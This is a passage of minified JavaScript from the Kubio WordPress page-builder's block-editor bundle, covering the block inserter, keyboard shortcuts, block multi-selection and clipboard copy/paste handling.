0:d.isProOnFree,"is-synced":v}),draggable:r,onDragStart:e=>{s.current=!0,c&&(i(null),c(e))},onDragEnd:e=>{s.current=!1,u&&u(e)},onMouseUp:()=>{!0===n[wa.PRO_ON_FREE_FLAG]&&m(!0,"block-pro-modal-"+n.name)},role:"button",tabIndex:0,children:(0,Nt.jsxs)(np,{isFirst:t,className:ms("block-editor-block-types-list__item",{"block-editor-block-types-list__item--disabled":n.isDisabled},e,(0,wa.proItemOnFreeClass)(n)),disabled:n.isDisabled,onClick:e=>{n.isDisabled||(e.preventDefault(),o(n,(0,sd.isAppleOS)()?e.metaKey:e.ctrlKey),i(null))},onKeyDown:e=>{const{keyCode:t}=e;t===sd.ENTER&&(e.preventDefault(),o(n,(0,sd.isAppleOS)()?e.metaKey:e.ctrlKey),i(null))},onMouseEnter:()=>{s.current||i(n)},onMouseLeave:()=>i(null),...l,children:[(0,Nt.jsx)("span",{className:"block-editor-block-types-list__item-icon",style:a,children:(0,Nt.jsx)(Fa,{icon:n.icon,showColors:!0})}),(0,Nt.jsx)("span",{className:"block-editor-block-types-list__item-title",children:(0,Nt.jsx)(ne.__experimentalTruncate,{numberOfLines:3,children:n.title})}),(0,Nt.jsx)(wa.ProBadge,{item:n}),(0,Nt.jsx)(f,{id:"block-pro-modal-"+n.name,urlArgs:{source:"block-inserter",content:n.name.split("/").pop()}})]})})}})}));function rp(e,t){const n=[];for(let o=0,i=e.length;o<i;o+=t)n.push(e.slice(o,o+t));return n}const lp=function e({items:t=[],onSelect:n,onHover:o=(()=>{}),children:i,label:r,isDraggable:l=!0}){const s="block-editor-block-types-list",a=(0,p.useInstanceId)(e,s);return(0,Nt.jsxs)(ep,{className:s,"aria-label":r,children:[rp(t,3).map(((e,t)=>(0,Nt.jsx)(tp,{children:e.map(((e,i)=>(0,Nt.jsx)(ip,{item:e,className:(0,c.getBlockMenuDefaultClassName)(e.id),onSelect:n,onHover:o,isDraggable:l&&!e.isDisabled,isFirst:0===t&&0===i,rowId:`${a}-${t}`},e.id)))},t))),i]})},sp=function({title:e,icon:t,children:n}){return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsxs)("div",{className:"block-editor-inserter__panel-header",children:[(0,Nt.jsx)("h2",{className:"block-editor-inserter__panel-title",children:e}),(0,Nt.jsx)(ne.Icon,{icon:t})]}),(0,Nt.jsx)("div",{className:"block-editor-inserter__panel-content",children:n})]})},ap=function({rootClientId:e,onInsert:t,onHover:n,showMostUsedBlocks:o}){const[i,r,l,s]=La(e,t),a=(0,u.useMemo)((()=>(0,se.orderBy)(i,["frecency"],["desc"]).slice(0,6)),[i]),c=(0,u.useMemo)((()=>i.filter((e=>!e.category))),[i]),d=(0,u.useMemo)((()=>{let e=(0,se.flow)((e=>e.filter((e=>e.category&&"reusable"!==e.category))),(e=>(0,se.groupBy)(e,"category")))(i);return e=function(e){const t={"kubio-template-parts":["kubio/header","core/post-content","kubio/footer","kubio/sidebar"],"kubio-components":["kubio/tab","kubio/accordion","kubio/image-gallery","kubio/social-icons","kubio/iconlist","kubio/contact","kubio/map","kubio/dropdown-menu","kubio/accordion-menu","kubio/shortcode","kubio/counter","kubio/flipbox","kubio/multipleimages","kubio/slider","kubio/carousel","kubio/subscribe-form","kubio/pricing","kubio/pricing-table","kubio/breadcrumb"],"kubio-blog-components":["kubio/query-loop","kubio/post-title","kubio/post-excerpt","kubio/post-featured-image","kubio/post-meta","kubio/read-more-button","kubio/post-tags","kubio/post-categories","kubio/post-comments","kubio/post-comments-form","kubio/query-pagination","kubio/pagination-nav-button","kubio/pagination-numbers","kubio/widget-area","kubio/query-layout"],"kubio-basic":["kubio/row","kubio/text","kubio/heading","kubio/image","kubio/video","kubio/buttongroup","kubio/linkgroup","kubio/icon","kubio/spacer","kubio/divider"],"kubio-site-data":["kubio/home-button","kubio/logo","kubio/page-title","kubio/search-form","kubio/copyright"],"kubio-layout":["kubio/section"]};for(const n in e)void 0!==t[n]&&e[n].sort(((e,o)=>{const i=t[n].indexOf(e.name);if(i<0)return 1;const r=t[n].indexOf(o.name);return r<0?-1:i-r}));return e}(e),e}),[i]),p=(0,u.useMemo)((()=>{const e={...l};return Object.keys(l).forEach((t=>{e[t]=i.filter((e=>(e=>e.name.split("/")[0])(e)===t)),0===e[t].length&&delete e[t]})),e}),[i,l]);(0,u.useEffect)((()=>()=>n(null)),[]);const h=(0,u.useMemo)((()=>o&&!!a.length&&(0,Nt.jsx)(sp,{title:(0,Je._x)("Most used","blocks","kubio"),children:(0,Nt.jsx)(lp,{items:a,onSelect:s,onHover:n,label:(0,Je._x)("Most used","blocks","kubio")})})),[a,o,s,n]);return(0,Nt.jsx)(op,{children:(0,Nt.jsxs)("div",{children:[h,(0,se.map)(r,(e=>{const t=d[e.slug];return t&&t.length?(0,Nt.jsx)(sp,{title:e.title,icon:e.icon,children:(0,Nt.jsx)(lp,{items:t,onSelect:s,onHover:n,label:e.title})},e.slug):null})),c.length>0&&(0,Nt.jsx)(sp,{className:"block-editor-inserter__uncategorized-blocks-panel",title:(0,Je.__)("Uncategorized","kubio"),children:(0,Nt.jsx)(lp,{items:c,onSelect:s,onHover:n,label:(0,Je.__)("Uncategorized","kubio")})}),(0,se.map)(l,((e,t)=>{const o=p[t];return o&&o.length?(0,Nt.jsx)(sp,{title:e.title,icon:e.icon,children:(0,Nt.jsx)(lp,{items:o,onSelect:s,onHover:n,label:e.title})},t):null}))]})})},cp=function({selectedCategory:e,patternCategories:t,onClickCategory:n,children:o}){return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsx)("div",{className:Oa()("block-editor-inserter__panel-header","block-editor-inserter__panel-header-patterns"),children:(0,Nt.jsx)(ne.SelectControl,{className:"block-editor-inserter__panel-dropdown",label:(0,Je.__)("Filter patterns","kubio"),hideLabelFromVision:!0,value:e.name,onChange:e=>{n(t.find((t=>e===t.name)))},onBlur:e=>{null!=e&&e.relatedTarget||e.stopPropagation()},options:(()=>{const e=[];return t.map((t=>e.push({value:t.name,label:t.label}))),e})()})}),(0,Nt.jsx)("div",{className:"block-editor-inserter__panel-content",children:o})]})},up=(0,p.createHigherOrderComponent)((e=>({useSubRegistry:t=!0,...n})=>{const o=(0,d.useRegistry)(),[i]=(0,u.useState)((()=>new WeakMap)),r=function(e,t,n){if(!n)return t;let o=e.get(t);return o||(o=(0,d.createRegistry)({},t),o.registerStore(Ot,ps),e.set(t,o)),o}(i,o,t);return r===o?(0,Nt.jsx)(e,{registry:o,...n}):(0,Nt.jsx)(d.RegistryProvider,{value:r,children:(0,Nt.jsx)(e,{registry:r,...n})})}),"withRegistryProvider"),dp=()=>{};function pp({clientId:e=null,value:t,selection:n,onChange:o=dp,onInput:i=dp}){const r=(0,d.useRegistry)(),{resetBlocks:l,resetSelection:s,replaceInnerBlocks:a,setHasControlledInnerBlocks:p,__unstableMarkNextChangeAsNotPersistent:h}=r.dispatch(hs),{getBlockName:g,getBlocks:f,getSelectionStart:m,getSelectionEnd:v}=r.select(hs),b=(0,d.useSelect)((t=>!e||t(hs).areInnerBlocksControlled(e)),[e]),k=(0,u.useRef)({incoming:null,outgoing:[]}),_=(0,u.useRef)(!1),y=()=>{t&&(h(),e?r.batch((()=>{p(e,!0);const n=t.map((e=>(0,c.cloneBlock)(e)));_.current&&(k.current.incoming=n),h(),a(e,n)})):(_.current&&(k.current.incoming=t),l(t)))},x=(0,u.useRef)(i),S=(0,u.useRef)(o);(0,u.useEffect)((()=>{x.current=i,S.current=o}),[i,o]),(0,u.useEffect)((()=>{k.current.outgoing.includes(t)?k.current.outgoing[k.current.outgoing.length-1]===t&&(k.current.outgoing=[]):f(e)!==t&&(k.current.outgoing=[],y(),n&&s(n.selectionStart,n.selectionEnd,n.initialPosition))}),[t,e]);const w=(0,u.useRef)(!1);(0,u.useEffect)((()=>{w.current?b||(k.current.outgoing=[],y()):w.current=!0}),[b]),(0,u.useEffect)((()=>{const{getSelectedBlocksInitialCaretPosition:t,isLastBlockChangePersistent:n,__unstableIsLastBlockChangeIgnored:o,areInnerBlocksControlled:i}=r.select(hs);let l=f(e),s=n(),a=!1;_.current=!0;const c=r.subscribe((()=>{if(null!==e&&null===g(e))return;if(e&&!i(e))return;const r=n(),c=f(e),u=c!==l;if(l=c,u&&(k.current.incoming||o()))return k.current.incoming=null,void(s=r);(u||a&&!u&&r&&!s)&&(s=r,k.current.outgoing.push(l),(s?S.current:x.current)(l,{selection:{selectionStart:m(),selectionEnd:v(),initialPosition:t()}})),a=u}),hs);return()=>{_.current=!1,c()}}),[r,e]),(0,u.useEffect)((()=>()=>{h(),e?(p(e,!1),h(),a(e,[])):l([])}),[])}const hp=window.wp.keyboardShortcuts;function gp(){return null}gp.Register=function(){const{registerShortcut:e}=(0,d.useDispatch)(hp.store);return(0,u.useEffect)((()=>{e({name:"core/block-editor/copy",category:"block",description:(0,Je.__)("Copy the selected block(s)."),keyCombination:{modifier:"primary",character:"c"}}),e({name:"core/block-editor/cut",category:"block",description:(0,Je.__)("Cut the selected block(s)."),keyCombination:{modifier:"primary",character:"x"}}),e({name:"core/block-editor/paste",category:"block",description:(0,Je.__)("Paste the selected block(s)."),keyCombination:{modifier:"primary",character:"v"}}),e({name:"core/block-editor/duplicate",category:"block",description:(0,Je.__)("Duplicate the selected block(s)."),keyCombination:{modifier:"primaryShift",character:"d"}}),e({name:"core/block-editor/remove",category:"block",description:(0,Je.__)("Remove the selected block(s)."),keyCombination:{modifier:"primaryShift",character:"backspace"}}),e({name:"core/block-editor/insert-before",category:"block",description:(0,Je.__)("Insert a new block before the selected block(s)."),keyCombination:{modifier:"primaryAlt",character:"t"}}),e({name:"core/block-editor/insert-after",category:"block",description:(0,Je.__)("Insert a new block after the selected block(s)."),keyCombination:{modifier:"primaryAlt",character:"y"}}),e({name:"core/block-editor/delete-multi-selection",category:"block",description:(0,Je.__)("Delete selection."),keyCombination:{character:"del"},aliases:[{character:"backspace"}]}),e({name:"core/block-editor/select-all",category:"selection",description:(0,Je.__)("Select all text when typing. Press again to select all blocks."),keyCombination:{modifier:"primary",character:"a"}}),e({name:"core/block-editor/unselect",category:"selection",description:(0,Je.__)("Clear selection."),keyCombination:{character:"escape"}}),e({name:"core/block-editor/multi-text-selection",category:"selection",description:(0,Je.__)("Select text across multiple blocks."),keyCombination:{modifier:"shift",character:"arrow"}}),e({name:"core/block-editor/focus-toolbar",category:"global",description:(0,Je.__)("Navigate to the nearest toolbar."),keyCombination:{modifier:"alt",character:"F10"}}),e({name:"core/block-editor/move-up",category:"block",description:(0,Je.__)("Move the selected block(s) up."),keyCombination:{modifier:"secondary",character:"t"}}),e({name:"core/block-editor/move-down",category:"block",description:(0,Je.__)("Move the selected block(s) down."),keyCombination:{modifier:"secondary",character:"y"}}),e({name:"core/block-editor/collapse-list-view",category:"list-view",description:(0,Je.__)("Collapse all other items."),keyCombination:{modifier:"alt",character:"l"}}),e({name:"core/block-editor/group",category:"block",description:(0,Je.__)("Create a group block from the selected multiple blocks."),keyCombination:{modifier:"primary",character:"g"}})}),[e]),null};const fp=gp;window.__experimentalMediaProcessing=!1;const mp=()=>{};function vp(e,{allowedTypes:t,additionalData:n={},filesList:o,onError:i=mp,onFileChange:r,onSuccess:l,onBatchSuccess:s}){e.dispatch(uploadStore).addItems({files:o,onChange:r,onSuccess:l,onBatchSuccess:s,onError:({message:e})=>i(e),additionalData:n,allowedTypes:t})}const bp=up((e=>{var t;const{settings:n,registry:o,stripExperimentalSettings:i=!1}=e,r=function(e={}){return(0,u.useMemo)((()=>({mediaUpload:e.mediaUpload,mediaSideload:e.mediaSideload,maxUploadFileSize:e.maxUploadFileSize,allowedMimeTypes:e.allowedMimeTypes})),[e])}(n);let l=n;window.__experimentalMediaProcessing&&n.mediaUpload&&(l=(0,u.useMemo)((()=>({...n,mediaUpload:vp.bind(null,o)})),[n,o]));const{__experimentalUpdateSettings:s}=ge((0,d.useDispatch)(hs));(0,u.useEffect)((()=>{s({...l,__internalIsInitialized:!0},{stripExperimentalSettings:i,reset:!0})}),[l,i,s]),pp(e);const a=(0,Nt.jsxs)(ne.SlotFillProvider,{passthrough:!0,children:[!(null!==(t=l)&&void 0!==t&&t.isPreviewMode)&&(0,Nt.jsx)(fp.Register,{}),(0,Nt.jsx)(fd,{children:e.children})]});return window.__experimentalMediaProcessing?(0,Nt.jsx)(MediaUploadProvider,{settings:r,useSubRegistry:!1,children:a}):a})),kp=e=>(0,Nt.jsx)(bp,{...e,stripExperimentalSettings:!0,children:e.children});function _p(){const{getSettings:e,hasSelectedBlock:t,hasMultiSelection:n}=(0,d.useSelect)(hs),{clearSelectedBlock:o}=(0,d.useDispatch)(hs),{clearBlockSelection:i}=e();return(0,p.useRefEffect)((e=>{if(i)return e.addEventListener("mousedown",r),()=>{e.removeEventListener("mousedown",r)};function r(i){(t()||n())&&i.target===e&&o()}}),[t,n,o,i])}function yp(e){return(0,Nt.jsx)("div",{ref:_p(),...e})}function xp(e){const{isMultiSelecting:t,getMultiSelectedBlockClientIds:n,hasMultiSelection:o,getSelectedBlockClientId:i,getSelectedBlocksInitialCaretPosition:r,__unstableIsFullySelected:l}=e(hs);return{isMultiSelecting:t(),multiSelectedBlockClientIds:n(),hasMultiSelection:o(),selectedBlockClientId:i(),initialPosition:r(),isFullSelection:l()}}function Sp(){const{initialPosition:e,isMultiSelecting:t,multiSelectedBlockClientIds:n,hasMultiSelection:o,selectedBlockClientId:i,isFullSelection:r}=(0,d.useSelect)(xp,[]);return(0,p.useRefEffect)((i=>{const{ownerDocument:l}=i,{defaultView:s}=l;if(null==e)return;if(!o||t)return;const{length:a}=n;a<2||r&&(i.contentEditable=!0,i.focus(),s.getSelection().removeAllRanges())}),[o,t,n,i,e,r])}const Cp=window.wp.dom,Bp=".block-editor-block-list__block",Ip=".block-list-appender",jp=".block-editor-button-block-appender";function Ep(e,t){return e.closest(Bp)===t.closest(Bp)}function Tp(e,t){return t.closest([Bp,Ip,jp].join(","))===e}function Pp(e){for(;e&&e.nodeType!==e.ELEMENT_NODE;)e=e.parentNode;if(!e)return;const t=e.closest(Bp);return t?t.id.slice(6):void 0}function Mp(e,t){const n=Math.min(e.left,t.left),o=Math.max(e.right,t.right),i=Math.max(e.bottom,t.bottom),r=Math.min(e.top,t.top);return new window.DOMRectReadOnly(n,r,o-n,i-r)}function Rp(e){const t=e.ownerDocument.defaultView;if(!t)return!1;if(e.classList.contains("components-visually-hidden"))return!1;const n=e.getBoundingClientRect();if(0===n.width||0===n.height)return!1;var o;if(e.checkVisibility)return null===(o=e.checkVisibility)||void 0===o?void 0:o.call(e,{opacityProperty:!0,contentVisibilityAuto:!0,visibilityProperty:!0});const i=t.getComputedStyle(e);return"none"!==i.display&&"hidden"!==i.visibility&&"0"!==i.opacity}function Np(e,t,n,o){let i,r=Cp.focus.focusable.find(n);return t&&r.reverse(),r=r.slice(r.indexOf(e)+1),o&&(i=e.getBoundingClientRect()),r.find((function(e){if(!(e.closest("[inert]")||1===e.children.length&&Ep(e,e.firstElementChild)&&"true"===e.firstElementChild.getAttribute("contenteditable"))){if(!Cp.focus.tabbable.isTabbableIndex(e))return!1;if(e.isContentEditable&&"true"!==e.contentEditable)return!1;if(o){const t=e.getBoundingClientRect();if(t.left>=i.right||t.right<=i.left)return!1}return!0}}))}function Ap(){const{getMultiSelectedBlocksStartClientId:e,getMultiSelectedBlocksEndClientId:t,getSettings:n,hasMultiSelection:o,__unstableIsFullySelected:i}=(0,d.useSelect)(hs),{selectBlock:r}=(0,d.useDispatch)(hs);return(0,p.useRefEffect)((l=>{let s;function a(){s=null}function c(a){if(a.defaultPrevented)return;const{keyCode:c,target:u,shiftKey:d,ctrlKey:p,altKey:h,metaKey:g}=a,f=c===sd.UP,m=c===sd.DOWN,v=c===sd.LEFT,b=c===sd.RIGHT,k=f||v,_=v||b,y=f||m,x=_||y,S=d||p||h||g,w=y?Cp.isVerticalEdge:Cp.isHorizontalEdge,{ownerDocument:C}=l,{defaultView:B}=C;if(!x)return;if(o()){if(d)return;if(!i())return;return a.preventDefault(),void(k?r(e()):r(t(),-1))}if(!function(e,t,n){const o=t===sd.UP||t===sd.DOWN,{tagName:i}=e,r=e.getAttribute("type");return o&&!n?"INPUT"!==i||!["date","datetime-local","month","number","range","time","week"].includes(r):"INPUT"===i?["button","checkbox","number","color","file","image","radio","reset","submit"].includes(r):"TEXTAREA"!==i}(u,c,S))return;y?s||(s=(0,Cp.computeCaretRect)(B)):s=null;const I=(0,Cp.isRTL)(u)?!k:k,{keepCaretInsideBlock:j}=n();if(d)(function(e,t){const n=Np(e,t,l);return n&&Pp(n)})(u,k)&&w(u,k)&&(l.contentEditable=!0,l.focus());else if(!y||!(0,Cp.isVerticalEdge)(u,k)||h&&!(0,Cp.isHorizontalEdge)(u,I)||j){if(_&&B.getSelection().isCollapsed&&(0,Cp.isHorizontalEdge)(u,I)&&!j){const e=Np(u,I,l);(0,Cp.placeCaretAtHorizontalEdge)(e,k),a.preventDefault()}}else{const e=Np(u,k,l,!0);e&&((0,Cp.placeCaretAtVerticalEdge)(e,h?!k:k,h?void 0:s),a.preventDefault())}}return l.addEventListener("mousedown",a),l.addEventListener("keydown",c),()=>{l.removeEventListener("mousedown",a),l.removeEventListener("keydown",c)}}),[])}function Lp(){const{getBlockOrder:e,getSelectedBlockClientIds:t,getBlockRootClientId:n}=(0,d.useSelect)(hs),{multiSelect:o,selectBlock:i}=(0,d.useDispatch)(hs),r=(0,hp.__unstableUseShortcutEventMatch)();return(0,p.useRefEffect)((l=>{function s(s){if(!r("core/block-editor/select-all",s))return;const a=t();if(a.length<2&&!(0,Cp.isEntirelySelected)(s.target))return;s.preventDefault();const[c]=a,u=n(c),d=e(u);a.length!==d.length?o(d[0],d[d.length-1]):u&&(l.ownerDocument.defaultView.getSelection().removeAllRanges(),i(u))}return l.addEventListener("keydown",s),()=>{l.removeEventListener("keydown",s)}}),[])}function Dp(e,t){e.contentEditable=t,t&&e.focus()}function Op(){const{startMultiSelect:e,stopMultiSelect:t}=(0,d.useDispatch)(hs),{isSelectionEnabled:n,hasSelectedBlock:o,isDraggingBlocks:i,isMultiSelecting:r}=(0,d.useSelect)(hs);return(0,p.useRefEffect)((l=>{const{ownerDocument:s}=l,{defaultView:a}=s;let c,u,d;function p(){t(),a.removeEventListener("mouseup",p),u=a.requestAnimationFrame((()=>{if(!o())return;Dp(l,!1);const e=a.getSelection();if(e.rangeCount){const t=e.getRangeAt(0),{commonAncestorContainer:n}=t,o=t.cloneRange();c.contains(n)&&(c.focus(),e.removeAllRanges(),e.addRange(o))}}))}function h({buttons:t,target:o,relatedTarget:s}){o.contains(d)&&(o.contains(s)||i()||1===t&&(r()||l!==o&&"true"===o.getAttribute("contenteditable")&&n()&&(c=o,e(),a.addEventListener("mouseup",p),Dp(l,!0))))}return l.addEventListener("mouseout",h),l.addEventListener("mousedown",(function({target:e}){d=e})),()=>{l.removeEventListener("mouseout",h),a.removeEventListener("mouseup",p),a.cancelAnimationFrame(u)}}),[e,t,n,o])}function zp(e,t){e.contentEditable!==String(t)&&(e.contentEditable=t,t&&e.focus())}function Fp(e){const t=e.nodeType===e.ELEMENT_NODE?e:e.parentElement;return null==t?void 0:t.closest("[data-wp-block-attribute-key]")}function Vp(){const{multiSelect:e,selectBlock:t,selectionChange:n}=(0,d.useDispatch)(hs),{getBlockParents:o,getBlockSelectionStart:i,isMultiSelecting:r}=(0,d.useSelect)(hs);return(0,p.useRefEffect)((l=>{const{ownerDocument:s}=l,{defaultView:a}=s;function c(s){const c=a.getSelection();if(!c.rangeCount)return;const u=function(e){const{anchorNode:t,anchorOffset:n}=e;return t.nodeType===t.TEXT_NODE||0===n?t:t.childNodes[n-1]}(c),d=function(e){const{focusNode:t,focusOffset:n}=e;return t.nodeType===t.TEXT_NODE||n===t.childNodes.length?t:0===n&&(0,Cp.isSelectionForward)(e)?null!==(o=t.previousSibling)&&void 0!==o?o:t.parentElement:t.childNodes[n];var o}(c);if(!l.contains(u)||!l.contains(d))return;const p=s.shiftKey&&"mouseup"===s.type;if(c.isCollapsed&&!p){if("true"===l.contentEditable&&!r()){var h,g;zp(l,!1);let e=u.nodeType===u.ELEMENT_NODE?u:u.parentElement;e=null===(h=e)||void 0===h?void 0:h.closest("[contenteditable]"),null===(g=e)||void 0===g||g.focus()}return}let f=Pp(u),m=Pp(d);if(p){const e=i(),t=Pp(s.target),n=t!==m;(f===m&&c.isCollapsed||!m||n)&&(m=t),f!==e&&(f=e)}if(void 0!==f||void 0!==m)if(f===m)r()?e(f,f):t(f);else{const t=[...o(f),f],i=[...o(m),m],r=function(e,t){let n=0;for(;e[n]===t[n];)n++;return n}(t,i);if(t[r]!==f||i[r]!==m)return void e(t[r],i[r]);const l=Fp(u),s=Fp(d);if(l&&s){var v,b;const e=c.getRangeAt(0),t=(0,Lt.create)({element:l,range:e,__unstableIsEditableTree:!0}),o=(0,Lt.create)({element:s,range:e,__unstableIsEditableTree:!0}),i=null!==(v=t.start)&&void 0!==v?v:t.end,r=null!==(b=o.start)&&void 0!==b?b:o.end;n({start:{clientId:f,attributeKey:l.dataset.wpBlockAttributeKey,offset:i},end:{clientId:m,attributeKey:s.dataset.wpBlockAttributeKey,offset:r}})}else e(f,m)}else zp(l,!1)}return s.addEventListener("selectionchange",c),a.addEventListener("mouseup",c),()=>{s.removeEventListener("selectionchange",c),a.removeEventListener("mouseup",c)}}),[e,t,n,o])}function Hp(){const{selectBlock:e}=(0,d.useDispatch)(hs),{isSelectionEnabled:t,getBlockSelectionStart:n,hasMultiSelection:o}=(0,d.useSelect)(hs);return(0,p.useRefEffect)((i=>{function r(r){if(!t()||0!==r.button)return;const l=n(),s=Pp(r.target);r.shiftKey?l!==s&&(i.contentEditable=!0,i.focus()):o()&&e(s)}return i.addEventListener("mousedown",r),()=>{i.removeEventListener("mousedown",r)}}),[e,t,n,o])}function Gp(){const{__unstableIsFullySelected:e,getSelectedBlockClientIds:t,getSelectedBlockClientId:n,__unstableIsSelectionMergeable:o,hasMultiSelection:i,getBlockName:r,canInsertBlockType:l,getBlockRootClientId:s,getSelectionStart:a,getSelectionEnd:u,getBlockAttributes:h}=(0,d.useSelect)(hs),{replaceBlocks:g,__unstableSplitSelection:f,removeBlocks:m,__unstableDeleteSelection:v,__unstableExpandSelection:b,__unstableMarkAutomaticChange:k}=(0,d.useDispatch)(hs);return(0,p.useRefEffect)((d=>{function p(e){"true"===d.contentEditable&&e.preventDefault()}function _(p){if(!p.defaultPrevented)if(i())p.keyCode===sd.ENTER?(d.contentEditable=!1,p.preventDefault(),e()?g(t(),(0,c.createBlock)((0,c.getDefaultBlockName)())):f()):p.keyCode===sd.BACKSPACE||p.keyCode===sd.DELETE?(d.contentEditable=!1,p.preventDefault(),e()?m(t()):o()?v(p.keyCode===sd.DELETE):b()):1!==p.key.length||p.metaKey||p.ctrlKey||(d.contentEditable=!1,o()?v(p.keyCode===sd.DELETE):(p.preventDefault(),d.ownerDocument.defaultView.getSelection().removeAllRanges()));else if(p.keyCode===sd.ENTER){if(p.shiftKey||e())return;const t=n(),o=r(t),i=a(),d=u();if(i.attributeKey===d.attributeKey){const e=h(t)[i.attributeKey],n=(0,c.getBlockTransforms)("from").filter((({type:e})=>"enter"===e)),o=(0,c.findTransform)(n,(t=>t.regExp.test(e)));if(o)return g(t,o.transform({content:e})),void k()}if(!(0,c.hasBlockSupport)(o,"splitting",!1)&&!p.__deprecatedOnSplit)return;l(o,s(t))&&(f(),p.preventDefault())}}function y(e){i()&&(d.contentEditable=!1,o()?v():(e.preventDefault(),d.ownerDocument.defaultView.getSelection().removeAllRanges()))}return d.addEventListener("beforeinput",p),d.addEventListener("keydown",_),d.addEventListener("compositionstart",y),()=>{d.removeEventListener("beforeinput",p),d.removeEventListener("keydown",_),d.removeEventListener("compositionstart",y)}}),[])}const $p=window.wp.notices;function Up(){const{getBlockName:e}=(0,d.useSelect)(hs),{getBlockType:t}=(0,d.useSelect)(c.store),{createSuccessNotice:n}=(0,d.useDispatch)($p.store);return(0,u.useCallback)(((o,i)=>{let r="";if("copyStyles"===o)r=(0,Je.__)("Styles copied to clipboard.");else if(1===i.length){var l;const n=i[0],s=null===(l=t(e(n)))||void 0===l?void 0:l.title;r="copy"===o?(0,Je.sprintf)(// Translators: Name of the block being copied, e.g. "Paragraph". // Translators: Name of the block being copied, e.g. "Paragraph". (0,Je.__)('Copied "%s" to clipboard.'),s):(0,Je.sprintf)(// Translators: Name of the block being cut, e.g. "Paragraph". // Translators: Name of the block being cut, e.g. "Paragraph". (0,Je.__)('Moved "%s" to clipboard.'),s)}else r="copy"===o?(0,Je.sprintf)(// Translators: %d: Number of blocks being copied. // Translators: %d: Number of blocks being copied. (0,Je._n)("Copied %d block to clipboard.","Copied %d blocks to clipboard.",i.length),i.length):(0,Je.sprintf)(// Translators: %d: Number of blocks being moved. // Translators: %d: Number of blocks being moved. (0,Je._n)("Moved %d block to clipboard.","Moved %d blocks to clipboard.",i.length),i.length);n(r,{type:"snackbar"})}),[n,e,t])}function Wp({clipboardData:e}){let t="",n="";try{t=e.getData("text/plain"),n=e.getData("text/html")}catch(e){return}n=function(e){const t=e.indexOf("\x3c!--StartFragment--\x3e");if(!(t>-1))return e;const n=(e=e.substring(t+20)).indexOf("\x3c!--EndFragment--\x3e");return n>-1&&(e=e.substring(0,n)),e}(n),n=function(e){return e.startsWith("<meta charset='utf-8'>")?e.slice(22):e}(n);const o=(0,Cp.getFilesFromDataTransfer)(e);return o.length&&!function(e,t){if(t&&1===(null==e?void 0:e.length)&&0===e[0].type.indexOf("image/")){var n;const e=/<\s*img\b/gi;if(1!==(null===(n=t.match(e))||void 0===n?void 0:n.length))return!0;const o=/<\s*img\b[^>]*\bsrc="file:\/\//i;if(t.match(o))return!0}return!1}(o,n)?{files:o}:{html:n,plainText:t,files:[]}}const Kp=Symbol("requiresWrapperOnCopy");function Zp(e,t,n){let o=t;const[i]=t;if(i&&n.select(c.store).getBlockType(i.name)[Kp]){const{getBlockRootClientId:e,getBlockName:t,getBlockAttributes:r}=n.select(hs),l=e(i.clientId),s=t(l);s&&(o=(0,c.createBlock)(s,r(l),o))}const r=(0,c.serialize)(o);var l;e.clipboardData.setData("text/plain",(l=(l=r).replace(/<br>/g,"\n"),(0,Cp.__unstableStripHTML)(l).trim().replace(/\n\n+/g,"\n\n"))),e.clipboardData.setData("text/html",r)}function qp(){const e=(0,d.useRegistry)(),{getBlocksByClientId:t,getSelectedBlockClientIds:n,hasMultiSelection:o,getSettings:i,getBlockName:r,__unstableIsFullySelected:l,__unstableIsSelectionCollapsed:s,__unstableIsSelectionMergeable:a,__unstableGetSelectedBlocksWithPartialSelection:u,canInsertBlockType:h,getBlockRootClientId:g}=(0,d.useSelect)(hs),{flashBlock:f,removeBlocks:m,replaceBlocks:v,__unstableDeleteSelection:b,__unstableExpandSelection:k,__unstableSplitSelection:_}=(0,d.useDispatch)(hs),y=Up();return(0,p.useRefEffect)((d=>{function p(p){if(p.defaultPrevented)return;const x=n();if(0===x.length)return;if(!o()){const{target:e}=p,{ownerDocument:t}=e;if("copy"===p.type||"cut"===p.type?(0,Cp.documentHasUncollapsedSelection)(t):(0,Cp.documentHasSelection)(t)&&!t.activeElement.isContentEditable)return}const{activeElement:S}=p.target.ownerDocument;if(!d.contains(S))return;const w=a(),C=s()||l(),B=!C&&!w;if("copy"===p.type||"cut"===p.type)if(p.preventDefault(),1===x.length&&f(x[0]),B)k();else{let n;if(y(p.type,x),C)n=t(x);else{const[e,o]=u();n=[e,...t(x.slice(1,x.length-1)),o]}Zp(p,n,e)}if("cut"===p.type)C&&!B?m(x):(p.target.ownerDocument.activeElement.contentEditable=!1,b());else if("paste"===p.type){const{__experimentalCanUserUseUnfilteredHTML:e}=i();if("true"===p.clipboardData.getData("rich-text"))return;const{plainText:t,html:n,files:s}=Wp(p),a=l();let u=[];if(s.length){const e=(0,c.getBlockTransforms)("from");u=s.reduce(((t,n)=>{const o=(0,c.findTransform)(e,(e=>"files"===e.type&&e.isMatch([n])));return o&&t.push(o.transform([n])),t}),[]).flat()}else u=(0,c.pasteHandler)({HTML:n,plainText:t,mode:a?"BLOCKS":"AUTO",canUserUseUnfilteredHTML:e});if("string"==typeof u)return;if(a)return v(x,u,u.length-1,-1),void p.preventDefault();if(!o()&&!(0,c.hasBlockSupport)(r(x[0]),"splitting",!1)&&!p.__deprecatedOnSplit)return;const[d]=x,f=g(d),m=[];for(const e of u)if(h(e.name,f))m.push(e);else{const t=r(f),n=e.name!==t?(0,c.switchToBlockType)(e,t):[e];if(!n)return;for(const e of n)for(const t of e.innerBlocks)m.push(t)}_(m),p.preventDefault()}}return d.ownerDocument.addEventListener("copy",p),d.ownerDocument.addEventListener("cut",p),d.ownerDocument.addEventListener("paste",p),()=>{d.ownerDocument.removeEventListener("copy",p),d.ownerDocument.removeEventListener("cut",p),d.ownerDocument.removeEventListener("paste",p)}}),[])}function Yp(){const[e,t,n]=function(){const e=(0,u.useRef)(),t=(0,u.useRef)(),n=(0,u.useRef)(),{hasMultiSelection:o,getSelectedBlockClientId:i,getBlockCount:r,getBlockOrder:l,getLastFocus:s,getSectionRootClientId:a,isZoomOut:c}=ge((0,d.useSelect)(hs)),{setLastFocus:h}=ge((0,d.useDispatch)(hs)),g=(0,u.useRef)();function f(t){const n=e.current.ownerDocument===t.target.ownerDocument?e.current:e.current.ownerDocument.defaultView.frameElement;if(g.current)g.current=null;else if(o())e.current.focus();else if(i()){var r;null!==(r=s())&&void 0!==r&&r.current?s().current.focus():e.current.querySelector(`[data-block="${i()}"]`).focus()}else if(c()){const 